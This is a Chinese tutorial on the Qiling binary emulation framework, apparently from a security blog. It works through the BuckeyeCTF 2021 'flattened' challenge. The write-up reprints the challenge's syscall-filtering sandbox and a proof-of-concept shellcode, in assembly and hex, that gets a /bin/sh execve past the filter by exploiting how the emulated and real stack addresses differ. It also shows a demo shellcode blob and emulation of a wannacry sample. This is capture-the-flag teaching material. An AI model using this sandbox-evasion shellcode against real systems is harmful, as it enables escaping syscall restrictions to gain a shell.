通过一道CTF题学习Qiling框架

qiling是可以模拟各种架构和系统的架构

0x00 介绍

Qiling是什么?它是一个二进制程序模拟框架,是python库,和unicorn类似。可以这样说,qiling是unicorn的二次开发。他能够跨平台使用,在windows,macos,linux等下都可以,支持各种架构,能够模拟多种类型的文件,如ELF,exe。

0x01 基本使用

1.安装

在linux下:

  1. pip install qiling

2.基本框架

先由一个官方的demo来介绍基本使用

  1. from qiling import Qiling
  2. from qiling.const import QL_VERBOSE
  3. #提前写好要执行的shellcode,fromhex是将十六进制数变成\x的形式
  4. shellcode = bytes.fromhex('''
  5. fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd54831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373616765426f7800
  6. ''')
  7. #执行的code,设置架构和系统,其实就是实例化程序
  8. ql = Qiling(code=shellcode, rootfs=r'examples/rootfs/x8664_windows', archtype='x8664', ostype='Windows', verbose=QL_VERBOSE.DEBUG)
  9. #运行
  10. ql.run()

每个qiling必须有code,rootfs,archtype和ostype,很明显,rootfs是程序的根目录,archtype就是架构,ostype是模拟的系统

最后要ql.run()

3.语法

这里我简单介绍几个经常会用到的,如果读者想详细的了解,请参考官方文档https://docs.qiling.io/en/latest/

1.对栈的操作

  1. ql.stack_push()

顾名思义,就是模拟程序中进行压栈操作

  1. ql.stack_read(offset)
  2. ql.stack_write(offset,data)

从栈中读出数据,向栈中写入数据

2.对寄存器的操作

从eax中读

  1. demo = ql.reg.eax
  2. print(demo)

这样就可以输出寄存器的信息了

3.对内存的操作

  1. ql.mem.read(address, size)
  2. ql.mem.write(address, data)

从address中读出size字节的数据,向address里写入data

4.HOOK

1.对地址的hook

  1. from qiling import Qiling
  2. def stop(ql: Qiling) -> None:
  3. ql.log.info('killer switch found, stopping')
  4. ql.emu_stop()
  5. ql = Qiling([r'examples/rootfs/x86_windows/bin/wannacry.bin'], r'examples/rootfs/x86_windows')
  6. ql.hook_address(stop, 0x40819a)
  7. ql.run()

当程序执行到0x40819a处时执行stop函数

2.对代码的hook

  1. from capstone import Cs
  2. from qiling import Qiling
  3. from qiling.const import QL_VERBOSE
  4. def simple_diassembler(ql: Qiling, address: int, size: int, md: Cs) -> None:
  5. buf = ql.mem.read(address, size) #输入十六进制的code
  6. for insn in md.disasm(buf, address): #将十六进制数转变成汇编代码,并且输出
  7. ql.log.debug(f':: {insn.address:#x} : {insn.mnemonic:24s} {insn.op_str}')
  8. if __name__ == "__main__":
  9. ql = Qiling([r'examples/rootfs/x8664_linux/bin/x8664_hello'], r'examples/rootfs/x8664_linux', verbose=QL_VERBOSE.DEBUG)
  10. ql.hook_code(simple_diassembler, user_data=ql.arch.disassembler) ######这里就是要说的代码hook
  11. ql.run()

ql.hook_code是对read的十六进制数进行hook,后面通过题目来讲,通俗来说就是执行每条汇编语句之前都会先执行simple_diassembler

qiling还有专用的Qdb调试器,需要自行安装https://github.com/ucgJhe/Qdb

0x02 题目例子

用的是BuckeyeCTF 2021 flattened

1.分析

首先拿到附件,里面有很多文件

分析得知,主要是找chall.py的漏洞并进行利用,下面就是chall.py的内容

  1. #!/usr/bin/env python3
  2. import qiling #qiling
  3. import pwn
  4. import subprocess
  5. import capstone.x86_const #反汇编
  6. from pwn import * #这里是我加进去便于调试的
  7. pwn.context.arch = "amd64" #64位
  8. dump = []
  9. def code_hook(ql, address, size):
  10. global dump
  11. buf = ql.mem.read(address, size) #read from a memorty address
  12. for i in md.disasm(buf, address): #disam
  13. allowed_syscalls = {1, 0x3c} #程序只允许使用write和exit系统调用
  14. if (
  15. capstone.x86_const.X86_GRP_INT in i.groups #这个if判断是对系统调用进行检查
  16. and ql.reg.eax not in allowed_syscalls
  17. ):
  18. print(f"[-] syscall = {hex(ql.reg.eax)}")
  19. raise ValueError("HACKING DETECTED!") ##exit,如果使用了其他调用就会退出并输出HACKING DETECTED!
  20. ignored_groups = {
  21. capstone.x86_const.X86_GRP_JUMP,
  22. capstone.x86_const.X86_GRP_CALL,
  23. capstone.x86_const.X86_GRP_RET,
  24. capstone.x86_const.X86_GRP_IRET,
  25. capstone.x86_const.X86_GRP_BRANCH_RELATIVE,
  26. }
  27. ignore = len(set(i.groups) & ignored_groups) > 0
  28. #下面注释掉的都是便于调试,题目中是没有的
  29. #print(hex(ql.reg.rsi))
  30. #ad = ql.mem.read(0x11feff8,8)
  31. #success("0x11feff8:"+str(ad))
  32. #print(ql.reg.eax)
  33. #print(ql.reg.eax)
  34. #print(ql.reg.rcx)
  35. print(
  36. f"[{' ' if ignore else '+'}] {hex(i.address)}: {i.mnemonic} {i.op_str}"
  37. )
  38. if not ignore:
  39. dump.append(bytes(i.bytes))
  40. inp = input("Enter code in hex:\n") #输入shellcode(十六进制数)
  41. code = bytes.fromhex(inp) #转换成bytes
  42. ql = qiling.Qiling( #qiling实例化成ql,以输入的code为code段,根目录是"/",模拟linux系统下的64位程序
  43. code=code,
  44. rootfs="/",
  45. ostype="linux",
  46. archtype="x8664",
  47. )
  48. ql.hook_code(code_hook) #对代码段进行hook
  49. md = ql.create_disassembler()
  50. md.detail = True
  51. ql.run() #运行
  52. print("[+] Your program has been flattened! Executing ...")
  53. new_code = b"".join(dump)
  54. filename = pwn.make_elf(new_code, extract=False, vma=0x11FF000) #新建一个elf文件并指行之前输入的shellcode
  55. subprocess.run([filename]) #运行

其实这题的exp非常简单,只是比较难想;只需要想办法更改rax为0x3b即可。

在此之前,先具体演示一下hook,先运行一下原chall.py

这样完全看不出任何hook的迹象,继续看!

这样就可以看到执行每条汇编之前都会输出eax的值

chall.py奇怪的点在于他会运行两次这段shellcode,第一次是用qiling模拟,而第二次是elf文件运行,我们知道64位下的elf文件栈地址一般都是0x00007fxxxxxxxxxx,这就为我们提供了可以利用的点,可以通过右移和减的方式控制rax,具体看POC

2.POC

  1. movabs rax,0x68732f6e69622f # /bin/sh
  2. push rax #压栈
  3. mov eax,0x3c #rax = 0x3c
  4. mov rdi,rsp #rdi设置成/bin/sh的地址
  5. xor esi,esi #清0
  6. xor edx,edx #清0
  7. mov rcx,rsp #在elf文件运行时0x00007fxxxxxxxxxx赋值给rcx
  8. shr rcx,0x2e #右移0x2e位,即rcx在elf中为1,但是在qiling模拟中还是0(读者可以自行输出一下qiling模拟中栈地址),如果在qiling模拟中rcx=1,在下面相减的时候程序就会exit并输出HACKING DETECTED!
  9. sub eax,ecx #一减,rax=0x3b,
  10. syscall
  11. #48b82f62696e2f73680050b83c0000004889e731f631d24889e148c1e92e29c80f05

题目下载:链接:https://pan.baidu.com/s/1PhC_sxJHyUdhiqxgJ8M0YA
提取码:hz6e

参考文章:https://docs.qiling.io/en/latest/
https://mikecat.github.io/ctf-writeups/2021/20211023_BuckeyeCTF_2021/pwn/flattened/#ja

  • 发表于 2022-04-18 09:36:00
  • 阅读 ( 7168 )
  • 分类:漏洞分析

0 条评论

eeee
eeee

1 篇文章

站长统计